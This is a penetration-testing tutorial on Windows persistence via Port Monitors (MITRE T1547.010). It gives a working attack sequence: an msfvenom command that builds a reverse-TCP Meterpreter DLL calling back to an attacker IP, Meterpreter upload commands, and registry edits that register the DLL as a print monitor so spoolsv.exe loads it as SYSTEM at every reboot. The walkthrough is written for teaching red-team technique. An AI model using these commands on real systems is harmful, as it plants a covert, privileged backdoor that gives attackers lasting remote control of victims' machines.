Persistence

Windows Persistence: Port Monitors

The article “Windows Persistence using Port Monitors” explores a lesser-known but effective technique for maintaining unauthorized access on a compromised Windows system. Typically, systems use Port Monitors for printer-related tasks. However, attackers take advantage of them by loading malicious DLLs during system startup. As a result, they enable stealthy persistence. This method helps adversaries blend into normal system operations. In addition, it allows them to maintain access even after reboots.

Moreover, the article provides a practical walkthrough. It explains how this persistence mechanism functions. It also details how attackers can leverage it during post-exploitation scenarios.

Adversaries use port monitors to run attacker-supplied DLLs during system boot to achieve persistence or escalate privileges. They configure a port monitor using theAddMonitor API call, which sets a DLL to load at startup. Attackers place this DLL inC:\Windows\System32, and the print spooler service,spoolsv.exe, loads it when the system boots. Moreover, the spoolsv.exe process runs with SYSTEM-level permissions, which gives the attacker high-level access.

Mitre ID: T1547.010

Sub-technique of:  T1547

Let’s Check and try to perform this attack

Generate DLL Payload

In order to launch dll persistence attack, you need to execute the following command which will generate a malicious dll payload.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.112 lport=4444 -f dll > raj.dll

Windows Persistence using Port Monitors

Inject DLL Payload

Now, inject the malicious DLL file into the victim’s machine inside the /system32 directory using your Meterpreter session with administrative privileges. Afterward, execute the following command to modify the registry for printer driver installation.

upload /root/raj.dll .
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v ignite -d 'C:\Windows\System32\netsh'
shell
reg add "hklm\system\currentcontrolset\control\print\monitors\ignite" /v "Driver" /d "raj.dll" /t REG_SZ

As you can see in the given below image that we have successfully changed the registry key.

Maintain Access

Now, in future when the attack will launch the listener for obtaining a reverse connection. So, as soon as the victim’s machine get reboots the .dll file get active and the attacker will get meterpreter session due to Monitor DLLs that are loaded by spoolsv.exe for DLLs.

Windows Persistence using Port Monitors

Follow this Link to know more on Windows Persistence.

Reference: https://attack.mitre.org/techniques/T1547/010/

Author: Aarti Singh is a Researcher and Technical Writer at Hacking Articles an Information Security Consultant Social Media Lover and Gadgets. Contact here